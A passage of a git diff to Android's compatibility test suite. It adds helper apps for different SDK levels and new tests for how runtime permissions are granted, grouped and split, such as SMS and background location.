         <option name="push" value="CtsUsePermissionApp23.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp23.apk" />
         <option name="push" value="CtsUsePermissionApp25.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp25.apk" />
         <option name="push" value="CtsUsePermissionApp26.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp26.apk" />
         <option name="push" value="CtsUsePermissionApp28.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp28.apk" />
         <option name="push" value="CtsUsePermissionApp29.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp29.apk" />
+        <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" />
+        <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" />
         <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" />
-        <option name="push" value="CtsUsePermissionAppLatestWithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestWithBackground.apk" />
+        <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" />
+        <option name="push" value="CtsUsePermissionAppLocationProvider.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLocationProvider.apk" />
         <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" />
     </target_preparer>
 
diff --git a/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt b/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
index 9daf9b3..9536803 100644
--- a/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
+++ b/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
@@ -42,10 +42,11 @@
         val errorMessageBuilder = StringBuilder()
         for (declaredPermissionInfo in packageInfo.permissions) {
             val permissionInfo = packageManager.getPermissionInfo(declaredPermissionInfo.name, 0)
-            val protection = permissionInfo.protectionLevel and (
+            val protection = permissionInfo.protection and (
                 PermissionInfo.PROTECTION_NORMAL
                     or PermissionInfo.PROTECTION_DANGEROUS
                     or PermissionInfo.PROTECTION_SIGNATURE
+                    or PermissionInfo.PROTECTION_INTERNAL
                 )
             val protectionFlags = permissionInfo.protectionLevel and protection.inv()
             if ((protection == PermissionInfo.PROTECTION_NORMAL ||
@@ -68,6 +69,7 @@
             PermissionInfo.PROTECTION_NORMAL -> "normal"
             PermissionInfo.PROTECTION_DANGEROUS -> "dangerous"
             PermissionInfo.PROTECTION_SIGNATURE -> "signature"
+            PermissionInfo.PROTECTION_INTERNAL -> "internal"
             else -> Integer.toHexString(protection)
         }
 
@@ -95,6 +97,7 @@
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_SETUP, "setup")
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_INSTANT, "instant")
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY, "runtimeOnly")
+        appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_ROLE, "role")
         if (unknownProtectionFlags != 0) {
             appendProtectionFlag(
                 unknownProtectionFlags, Integer.toHexString(unknownProtectionFlags)
diff --git a/tests/tests/permission3/UsePermissionApp22None/Android.bp b/tests/tests/permission3/UsePermissionApp22None/Android.bp
new file mode 100644
index 0000000..533e261
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22None/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp22None",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+    min_sdk_version: "22",
+}
diff --git a/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml
new file mode 100644
index 0000000..6145204
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="22" />
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionApp30/Android.bp b/tests/tests/permission3/UsePermissionApp30/Android.bp
new file mode 100644
index 0000000..441f5a8
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp30",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml
new file mode 100644
index 0000000..03654c0
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <!-- Request two different permissions within the same group -->
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <uses-permission android:name="android.permission.CAMERA" />
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp b/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp
new file mode 100644
index 0000000..eeac4ff
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp30WithBackground",
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml
new file mode 100644
index 0000000..3d41276
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <application>
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt b/tests/tests/permission3/UsePermissionApp30WithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
similarity index 100%
rename from tests/tests/permission3/UsePermissionAppLatestWithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
rename to tests/tests/permission3/UsePermissionApp30WithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
diff --git a/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp b/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp
new file mode 100644
index 0000000..695c556
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionAppLatestNone",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml
new file mode 100644
index 0000000..fa0310e
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
deleted file mode 100644
index 7f31ca0..0000000
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsUsePermissionAppLatestWithBackground",
-    srcs: [
-        "src/**/*.kt",
-    ],
-    static_libs: [
-        "kotlin-stdlib",
-    ],
-    certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml
deleted file mode 100644
index adf2eac..0000000
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission3.cts.usepermission">
-
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-
-    <application>
-        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
-    </application>
-</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLocationProvider/Android.bp b/tests/tests/permission3/UsePermissionAppLocationProvider/Android.bp
new file mode 100644
index 0000000..56c9966
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLocationProvider/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsePermissionAppLocationProvider",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission3/UsePermissionAppLocationProvider/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppLocationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..16bacf5
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLocationProvider/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
+    <application>
+        <activity android:name=".AddLocationProviderActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true"
+                  android:permission="android.permission.START_VIEW_PERMISSION_USAGE">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW_PERMISSION_USAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLocationProvider/src/android/permission3/cts/usepermission/AddLocationProviderActivity.kt b/tests/tests/permission3/UsePermissionAppLocationProvider/src/android/permission3/cts/usepermission/AddLocationProviderActivity.kt
new file mode 100644
index 0000000..3bb461c
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLocationProvider/src/android/permission3/cts/usepermission/AddLocationProviderActivity.kt
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.location.Criteria
+import android.location.LocationManager
+import android.os.Bundle
+
+/**
+ * An activity that adds this package as a test location provider.
+ */
+class AddLocationProviderActivity : Activity() {
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        val locationManager = getSystemService(LocationManager::class.java)
+        locationManager.addTestProvider(
+            packageName, false, false, false, false, false, false, false, Criteria.POWER_LOW,
+            Criteria.ACCURACY_COARSE
+        )
+
+        setResult(RESULT_OK)
+        finish()
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 9721517..0c59dc5 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -27,7 +27,7 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiObject2
-import androidx.test.InstrumentationRegistry
+import androidx.test.platform.app.InstrumentationRegistry
 import androidx.test.rule.ActivityTestRule
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index d313ced..acecc42 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -45,14 +45,19 @@
         const val APP_APK_PATH_22 = "$APK_DIRECTORY/CtsUsePermissionApp22.apk"
         const val APP_APK_PATH_22_CALENDAR_ONLY =
             "$APK_DIRECTORY/CtsUsePermissionApp22CalendarOnly.apk"
+        const val APP_APK_PATH_22_NONE = "$APK_DIRECTORY/CtsUsePermissionApp22None.apk"
         const val APP_APK_PATH_23 = "$APK_DIRECTORY/CtsUsePermissionApp23.apk"
         const val APP_APK_PATH_25 = "$APK_DIRECTORY/CtsUsePermissionApp25.apk"
         const val APP_APK_PATH_26 = "$APK_DIRECTORY/CtsUsePermissionApp26.apk"
         const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk"
         const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk"
+        const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk"
+        const val APP_APK_PATH_30_WITH_BACKGROUND =
+                "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk"
         const val APP_APK_PATH_LATEST = "$APK_DIRECTORY/CtsUsePermissionAppLatest.apk"
-        const val APP_APK_PATH_LATEST_WITH_BACKGROUND =
-                "$APK_DIRECTORY/CtsUsePermissionAppLatestWithBackground.apk"
+        const val APP_APK_PATH_LATEST_NONE = "$APK_DIRECTORY/CtsUsePermissionAppLatestNone.apk"
+        const val APP_APK_PATH_LOCATION_PROVIDER =
+            "$APK_DIRECTORY/CtsUsePermissionAppLocationProvider.apk"
         const val APP_APK_PATH_WITH_OVERLAY = "$APK_DIRECTORY/CtsUsePermissionAppWithOverlay.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.usepermission"
 
@@ -241,6 +246,11 @@
         val result = requestAppPermissions(*permissions, block = block)
         assertEquals(Activity.RESULT_OK, result.resultCode)
         assertEquals(
+            result.resultData!!.getStringArrayExtra("$APP_PACKAGE_NAME.PERMISSIONS")!!.size,
+            result.resultData!!.getIntArrayExtra("$APP_PACKAGE_NAME.GRANT_RESULTS")!!.size
+        )
+
+        assertEquals(
             permissionAndExpectedGrantResults.toList(),
             result.resultData!!.getStringArrayExtra("$APP_PACKAGE_NAME.PERMISSIONS")!!
                 .zip(
@@ -408,6 +418,7 @@
         for (permission in permissions) {
             // Find the permission screen
             val permissionLabel = getPermissionLabel(permission)
+            UiScrollable(UiSelector().scrollable(true)).scrollTextIntoView(permissionLabel)
             click(By.text(permissionLabel))
             val wasGranted = if (isAutomotive) {
                 // Automotive doesn't support one time permissions, and thus
@@ -425,7 +436,12 @@
                         // Automotive doesn't support one time permissions, and thus
                         // won't show an "Ask every time" message
                         when (state) {
-                            PermissionState.ALLOWED -> R.string.allow
+                            PermissionState.ALLOWED ->
+                                if (showsForegroundOnlyButton(permission)) {
+                                    R.string.allow_foreground
+                                } else {
+                                    R.string.allow
+                                }
                             PermissionState.DENIED -> R.string.deny
                             PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
                         }
diff --git a/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt
new file mode 100644
index 0000000..1d8ed8e
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.app.Activity
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class NoPermissionTest : BaseUsePermissionTest() {
+    @Test
+    fun testStartActivity22() {
+        installPackage(APP_APK_PATH_22_NONE)
+
+        startAppActivityAndAssertResultCode(Activity.RESULT_OK) {}
+
+        clearTargetSdkWarning()
+    }
+
+    @Test
+    fun testStartActivityLatest() {
+        installPackage(APP_APK_PATH_LATEST_NONE)
+
+        startAppActivityAndAssertResultCode(Activity.RESULT_OK) {}
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
index ee8a42f..9e4ef47 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
@@ -41,11 +41,31 @@
     }
 
     @Test
-    fun testRuntimeGroupGrantExpansionLatest() {
-        installPackage(APP_APK_PATH_LATEST)
+    fun testRuntimeGroupGrantExpansion30() {
+        installPackage(APP_APK_PATH_30)
         testRuntimeGroupGrantExpansion(false)
     }
 
+    @Test
+    fun testPartiallyGrantedGroupExpansion() {
+        installPackage(APP_APK_PATH_30)
+
+        // Start out without permission
+        assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, false)
+        assertAppHasPermission(android.Manifest.permission.SEND_SMS, false)
+
+        // Grant only RECEIVE_SMS
+        uiAutomation.grantRuntimePermission(APP_PACKAGE_NAME,
+            android.Manifest.permission.RECEIVE_SMS)
+	assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, true)
+
+        // Request both permissions, and expect that SEND_SMS is granted
+        requestAppPermissionsAndAssertResult(android.Manifest.permission.RECEIVE_SMS to true,
+            android.Manifest.permission.SEND_SMS to true) { }
+
+        assertAppHasPermission(android.Manifest.permission.SEND_SMS, true)
+    }
+
     private fun testRuntimeGroupGrantExpansion(expectExpansion: Boolean) {
         // Start out without permission
         assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
index 54a0e36..22074f7 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
@@ -42,6 +42,12 @@
     }
 
     @Test
+    fun testPermissionNotSplit30() {
+        installPackage(APP_APK_PATH_30)
+        testLocationPermissionSplit(false)
+    }
+
+    @Test
     fun testPermissionNotSplitLatest() {
         installPackage(APP_APK_PATH_LATEST)
         testLocationPermissionSplit(false)
@@ -52,7 +58,7 @@
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
 
         requestAppPermissionsAndAssertResult(
-            android.Manifest.permission.ACCESS_FINE_LOCATION to true
+                android.Manifest.permission.ACCESS_FINE_LOCATION to true
         ) {
             if (expectSplit) {
                 clickPermissionRequestSettingsLinkAndAllowAlways()
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 31e6f3a..6355ada 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -136,6 +136,7 @@
         requestAppPermissionsAndAssertResult(android.Manifest.permission.WRITE_CONTACTS to false) {}
     }
 
+    @FlakyTest
     @Test
     fun testRevokeAffectsWholeGroup() {
         // Grant the group
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index 5d13748..645b5fb 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -102,6 +102,7 @@
         }
     }
 
+    @FlakyTest
     @Test
     fun testDenyBackgroundWithPrejudice() {
         // Step 1: deny the first time
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 1272355..614cdc6 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -27,7 +27,7 @@
 
     @Test
